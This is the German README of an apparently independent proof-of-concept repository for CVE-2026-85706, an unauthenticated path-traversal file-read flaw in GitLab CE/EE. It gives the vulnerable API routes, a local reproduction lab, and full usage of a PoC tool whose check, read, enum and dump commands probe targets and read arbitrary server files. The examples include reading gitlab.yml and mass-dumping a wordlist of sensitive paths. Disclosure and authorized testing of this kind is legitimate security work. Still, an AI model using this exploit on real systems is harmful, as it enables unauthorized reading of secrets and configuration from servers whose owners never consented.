
PoC für CVE-2026-85706: GitLab CE/EE nicht authentifizierter beliebiger lokaler Dateizugriff
CVE-2026-85706 ist ein kritisches Path-Traversal- / Missing-Authentication-Problem in den GitLab CE/EE
Repository Commits- und Repository Files-APIs: Ein unauthentifizierter Angreifer kann den Server dazu
bringen, beliebige Dateien zu lesen und deren Inhalt über den Fehlerkanal zu erhalten. CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
GitLabs offizieller Titel lautet "Path Traversal issue in repository commits API impacts GitLab CE/EE". Der Fix wurde am 2026-09-10 in 19.3.2 / 19.2.6 / 19.1.8 veröffentlicht.
[!IMPORTANT] Betreiben Sie ein selbstverwaltetes GitLab <= 19.3.1? Aktualisieren Sie auf 19.3.2 / 19.2.6 / 19.1.8.
[!WARNING] Nur autorisierte Nutzung. Führen Sie dieses Tool nur gegen Systeme aus, die Ihnen gehören oder für die Sie ausdrücklich eine Testgenehmigung haben.
Dieses Repository enthält einen unabhängigen Proof of Concept, ein minimales Reproduktions-Lab und eine vollständige technische Analyse:
Es sind keine Daten enthalten, die von einem Drittsystem erfasst wurden.
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
Das Lab lauscht nur auf 127.0.0.1 und liest nur innerhalb seiner lab/vault/-Sandbox, sodass es niemals
Dateien auf Ihrem echten Rechner berühren kann.
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
Fügen Sie --insecure für selbstsignierte Zertifikate hinzu, und bevorzugen Sie die numerische Projekt-ID
gegenüber einem kodierten Pfad (--project <id> statt group%2Fproject).
| Befehl | Zweck | Wichtige Optionen |
|---|---|---|
check | Ist das Ziel verwundbar? Vergleicht die Antworten aller Bypass-Vektoren | --canary-path, --no-bypass-probe |
read | Liest eine Datei und meldet, ob deren Inhalt preisgegeben wird | --file <path>, --media <type> |
enum | Testet eine Liste von Pfaden und klassifiziert jeden einzelnen | --wordlist, --wordlist-file |
dump | Speichert jede lesbare Datei auf der Festplatte, mit einem Manifest und den Rohantworten | --files, --files-file, --outdir |
Die von check ausgegebenen Bezeichnungen:
| Bezeichnung | Anforderungspfad |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - ist das Ziel verwundbar?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
Exit-Codes: 0 = verwundbar; 1 = mit den getesteten Vektoren nicht ausnutzbar (gepatcht oder die Route nicht erreichbar).
Zwei Details, die man kennen sollte:
Workhorse bypass probe ist der Routing-Beweis: file existiert nur, wenn Workhorse den Body
gepuffert und signiert hat, sodass ein 400 {"error":"file is missing"} beweist, dass die Bypass-Route diese
Pipeline übersprungen hat, während sie dennoch die API erreichte. Bei einem gepatchten Build lautet diese letzte
Zeile HTTP 401.commits-canonical -> 401) ist der Kontrollfall: Dort schreibt Workhorse
file.path um, sodass der Wert des Angreifers niemals den verwundbaren Code erreicht.read - eine einzelne Datei lesen$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
Exit-Codes: 0 = Inhalt preisgegeben oder ein Vorauthentifizierungs-Lesezugriff, der durch die Baseline bestätigt wurde; 1 = kein Vorauthentifizierungs-Lesezugriff beobachtet.
enum / dump - Massenabfragepython poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt enthält 45 interessante GitLab-/Linux-Pfade; --wordlist / --files können inline oder
über eine Datei angegeben werden, und beide Formen können kombiniert werden. Dies sind die einzigen beiden
Unterbefehle, die echte Dateiinhalte berühren - schreiben Sie die Ausgabe außerhalb dieses Repositories und
veröffentlichen Sie niemals, was sie erfassen.
| Option | Bedeutung |
|---|---|
--url <base URL> | Ziel-Basis-URL (erforderlich) |
--project <id or encoded path> | Öffentliche Projekt-ID (123) oder URL-kodierter Pfad (group%2Fproject), erforderlich |
--token <PRIVATE-TOKEN> | Optional; testet den authentifizierten Pfad |
--insecure | TLS-Verifikation überspringen (selbstsignierte Zertifikate) |
-v, --verbose | Jede Anfrage/Antwort nach stderr ausgeben |
--canary-path <path> | Garantiert fehlender Pfad, der als Verwundbarkeits-Baseline verwendet wird |
--color <mode> | auto (Standard, Farben auf einem echten Terminal), always, never |
Die Reihenfolge der Optionen ist wichtig: Gemeinsame Optionen kommen nach dem Unterbefehl - check --url ... --insecure, nicht
--url ... check.
| Test | Ergebnis |
|---|---|
Gepatchte Kontrolle - gitlab.com, 19.3.2+ | Jeder Vektor gibt 401 zurück; die einzige andere Antwort ist das 400 {"error":"file is missing"}, das den Routing-Bypass beweist |
Lokales Lab - lab/vulnerable_api.py | Reproduziert den Trust-Bug auf Rails-Seite von Anfang bis Ende; --patched liefert den Vergleichs-Build |
| Echte selbstverwaltete Instanz - 19.3.1, schriftliche Autorisierung | Als verwundbar bestätigt; Host- und Projektdetails werden hier bewusst nicht veröffentlicht. Aggregierte Ergebnisse in ANALYSIS.md, Abschnitt 4.3 |
Dieses Material wird für Sicherheitsforschung und autorisierte Tests bereitgestellt - Ihr eigenes Lab, ein Bug-Bounty-Programm oder ein Penetrationstest mit schriftlicher Genehmigung. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie ausdrücklich eine Testgenehmigung haben. Unbefugter Zugriff auf Drittsysteme ist illegal. Bereitgestellt wie besehen, ohne jegliche Gewährleistung.